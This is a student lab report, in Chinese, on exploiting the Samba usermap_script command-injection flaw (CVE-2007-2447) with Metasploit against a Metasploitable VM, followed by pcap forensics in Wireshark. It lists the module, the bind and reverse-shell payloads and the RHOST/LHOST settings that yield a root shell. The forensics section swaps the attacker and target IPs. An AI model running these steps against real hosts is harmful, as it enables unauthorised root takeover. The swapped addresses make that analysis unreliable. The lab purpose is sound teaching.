20251918 2025-2026-2 《网络攻防实践》实践七报告

1.实践内容

1.1 实验目的

本周重点学习了 Linux 平台的远程渗透攻击,聚焦 Samba 服务的历史高危漏洞。Samba 用于实现文件共享,常部署于核心服务器,漏洞危害严重。其中 Usermap_script 漏洞(CVE-2007-2447)是典型命令注入漏洞:当启用非默认的 username map script 选项时,Samba 未过滤用户名,攻击者可在用户名中注入任意命令并以 root 权限执行,无需认证即可控制主机。通过 Metasploit 复现攻击链,有助于理解命令注入原理与防御要点。

1.2 实验内容

(1)使用 Metasploit 进行 Linux 远程渗透攻击

目标:利用 Metasploit 攻击 Linux 靶机上的 Samba 服务 Usermap_script 安全漏洞,成功获取目标主机的远程访问权限。

实践步骤:
1、启动环境: 在 Kali 攻击机上使用 msfconsole 命令启动 Metasploit 的交互式命令行界面。
2、选择攻击模块: 通过 use exploit/multi/samba/usermap_script 加载针对该漏洞的渗透攻击模块。该模块封装了漏洞触发所需的 SMB 报文构造逻辑。
3、配置 Payload: 使用 show payloads 查看可用的载荷。这里选择远程 Shell 类型的载荷,既可以是正向连接(如 cmd/unix/bind_netcat,由靶机开放一个监听端口,攻击机主动连接),也可以是反向连接(如 cmd/unix/reverse,由靶机主动回连攻击机)。反向连接常用于绕过防火墙入站限制。
4、设置攻击参数: 通过 set RHOST <靶机IP> 指定目标地址,若使用反向连接还需 set LHOST <攻击机IP> 指定回连地址。TARGET 参数保持默认即可。
5、执行攻击: 输入 exploit 或 run 命令发起攻击。模块会向靶机的 139 端口发送包含恶意命令的 SMB 会话建立请求。
6、验证结果: 若攻击成功,将会获得一个交互式命令行会话。通过执行 whoami、id 等命令验证当前权限——由于漏洞以 root 身份执行命令,因此应直接获得 root 权限。

(2)实践作业:攻防对抗实践

攻击方角色: 使用 Metasploit 框架,针对 Metasploitable 靶机中存在的 Samba usermap_script 漏洞实施渗透攻击,获取远程控制权,并进一步验证已获得 root 权限。攻击方需要记录操作的每一步,尤其是设置的回连 IP 和端口,以便防守方进行流量匹配。

防守方角色: 在靶机所在网络链路中部署流量监听工具(如 tcpdump、Wireshark 或 Snort),提前捕获攻击过程中产生的所有网络数据包并保存为 pcap 文件。随后,使用 Wireshark 或 Snort 对数据包进行深度分析,完成以下取证目标:

(1)提取攻击者的 IP 地址、目标主机的 IP 及端口;

(2)确定攻击发起的具体时间(精确到微秒级的时间戳);

(3)识别所利用的漏洞类型(CVE-2007-2447)及漏洞利用特征(如用户名字段中出现的 /nohup、telnet、sleep 等命令片段);

(4)分析攻击载荷(Shellcode)的传递方式——在本漏洞中,载荷并非传统二进制 Shellcode,而是嵌入在用户名中的纯文本命令字符串;

(5)还原攻击成功后,攻击者在远程 Shell 中输入的命令行信息(如 ifconfig、whoami、pwd 等),通过追踪 TCP 流即可明文读取。

2.实践过程

2.1 使用 Metasploit 进行 Linux 远程渗透攻击

实验环境:
IMG_20260427_151611

(1)首先在 kali 中开启 metasploit framework,输入命令 msfconsole 打开。
b3176ed8-4f36-4db9-b313-251d69e78b6d

(2)选择渗透模块,这里使用命令 use exploit/multi/samba/usermap_script 来选择攻击模块。
eb306271-41bc-4498-ba0a-d7463cf961f2

30fdae49-e46b-4c66-9eda-02ddb3d29225

(3)之后配置 payload,使用命令 show payloads 可以查看各种可供使用的 payload,这里我们选择 bind_netcat 作为本次攻击的 payload,使用命令 set payload cmd/unix/bind_netcat 来使用该 payload。
68fcb5ec-3f35-40b9-b47e-00e261a836a6

(4)使用命令 show options 来展示模块攻击所需的各种参数。
68fcb5ec-3f35-40b9-b47e-00e261a836a6

可以看到在模块选项和 payload 选项中,缺少的必要信息就只有 rhosts 了,

(5)使用命令 set rhost 192.168.200.130 来设置目标地址,设置完成之后直接使用 run 命令来运行即可。
bbe65d33-dfca-4d2e-b0f5-8ec00fe53d32

可以看到靶机的 shell 已经弹回到攻击机上来了,输入命令 ls 可以看到返回的信息,而且是 root 权限。可以看到靶机的 shell 已经弹回到攻击机上来了,输入命令 ls 可以看到返回的信息,而且是 root 权限。

2.2 实践作业:攻防对抗实践

攻击方: 借助 Metasploit 框架,针对 Metasploitable 靶机中存在的漏洞实施渗透攻击,成功获取远程控制权限,并进一步将权限提升至 root。
防守方: 利用 tcpdump、Wireshark 或 Snort 等工具捕获攻击过程中产生的网络数据包,随后通过 Wireshark 或 Snort 对数据包进行深入分析,从而还原攻击流程,提取出攻击者的 IP 地址、目标主机的 IP 与端口、攻击发生的具体时间、所利用的漏洞类型、所使用的 Shellcode 内容,以及攻击成功后输入的命令行信息。

Metasploitable2-Linux:192.168.200.252
kali:192.168.200.131

(1)在kali中输入msfconsole启动Metasploit软件
f84b3f10-313e-4004-b085-cb49bd62409b

(2)输入命令use exploit/multi/samba/usermap_script
657f2353-41ab-45b6-9581-5c7618353020

(3)设置攻击参数
set RHOST 192.168.200.252
set LHOST 192.168.200.131
set payload cmd/unix/reverse
payload 设置为 cmd/unix/reverse,用于建立一个反向Shell
最后输入show options确认所有参数都已正确填写
4d65ce20-4ebf-445c-88af-d68f388dd1d1

(4)输入exploit命令执行攻击。
攻击完成后输入
ifconfig
whoami
pwd
发现获得root权限。
71986fe3-e751-4152-8a0b-c633ecdd450c

f17cce64-97bb-4fd5-a8f8-0594f195d309

(5)分析抓包数据
攻击机 IP 为 192.168.200.252,目标机 IP 为 192.168.200.131。从数据包的时间戳和源 MAC 地址序列可以看出,这是典型的 Samba usermap_script 漏洞(CVE-2007-2447) 利用成功后的流量特征。
首先,攻击机向目标机的 139 端口发起 TCP 连接请求(SYN 包),完成三次握手后,通过 SMB 协议的 Session Setup 请求,在用户名字段中注入恶意命令。目标机由于漏洞存在,成功执行该命令,从而主动向攻击机的 4444 端口发起反向连接。
从时间戳 282.788732120 秒 开始,源 MAC 地址呈现 “VMware_81:62:70” “VMware_81:64:070” 的连续递增序列,每个数据包的时间间隔约为 1 毫秒。这种高频、有序递增的数据包序列并非正常的 TCP 握手重传,而是目标机在执行反弹命令后产生的突发流量洪流——可能是由于命令中的 sleep 3726 参数与 teln(应为 telnet)命令组合,导致目标机在短时间内反复尝试建立连接或重传数据包,从而在抓包文件中形成大量连续的数据包记录。
最终,攻击机响应 SYN+ACK 完成三次握手,反弹 shell 成功建立,攻击者获得目标机的 root 权限远程访问。
57010d70-998c-47b4-bd16-66c7b56d1d82

(6)追踪TCP流后可以查看信息
ef1dd016-8b4a-475c-b603-147b90932499

3.学习中遇到的问题及解决

  • 问题1:在kali中输入exploit时,出现Exploit completed, but no session was created.问题
  • 问题1解决方案:原来是我的防守方kali虚拟机ip地址输入错误,重新开一个终端依次按照上面步骤重新执行可解决。
  • 问题2:使用tcpdump抓包时,发现抓不到任何与攻击相关的数据包。
  • 问题2解决方案:通常是因为没有指定正确的网卡接口,或者过滤条件写错了。使用ifconfig确认攻击机正在使用的网卡名称(如eth0或ens33),然后执行sudo tcpdump -i eth0 -w attack.pcap明确指定网卡;如果需要过滤IP,可以加上host 192.168.200.131等条件。另外,确保tcpdump以root权限运行,否则可能因权限不足而无法捕获。

4.学习感想与体会

本次实验让我直观理解了 Samba usermap_script 漏洞(CVE-2007-2447)的利用原理。该漏洞本质是命令注入:程序未过滤用户输入,直接拼接到系统命令中执行,导致攻击者无需认证即可获取 root 权限。这深刻印证了“永远不信任用户输入”的安全编码原则。实践中,我掌握了 Metasploit 的基本操作,包括选择模块、配置 payload 和执行渗透。遇到“no session was created”问题,排查发现是 IP 地址设置错误,修正后成功;使用 tcpdump 抓包时因未指定网卡接口而失败,调整后恢复正常——这提醒我基础配置和细致操作的重要性。攻防对抗环节体现了“以攻促防”的价值。作为攻击方,我成功获得靶机 root shell;作为防守方,通过 Wireshark 分析 pcap 文件,完整还原了从 SYN 握手、SMB 恶意请求到反向连接的命令执行链。追踪 TCP 流后,攻击者输入的 ifconfig、whoami 等命令清晰可见,说明有效的流量监控能为事后溯源提供关键证据。本次实验锻炼了渗透与取证能力,也让我更加重视安全基线管理与日志监控。只有深入理解攻击手法,才能构建更可靠的防御体系。

posted on 2026-04-27 16:15  jh163  阅读(12)  评论(0)    收藏  举报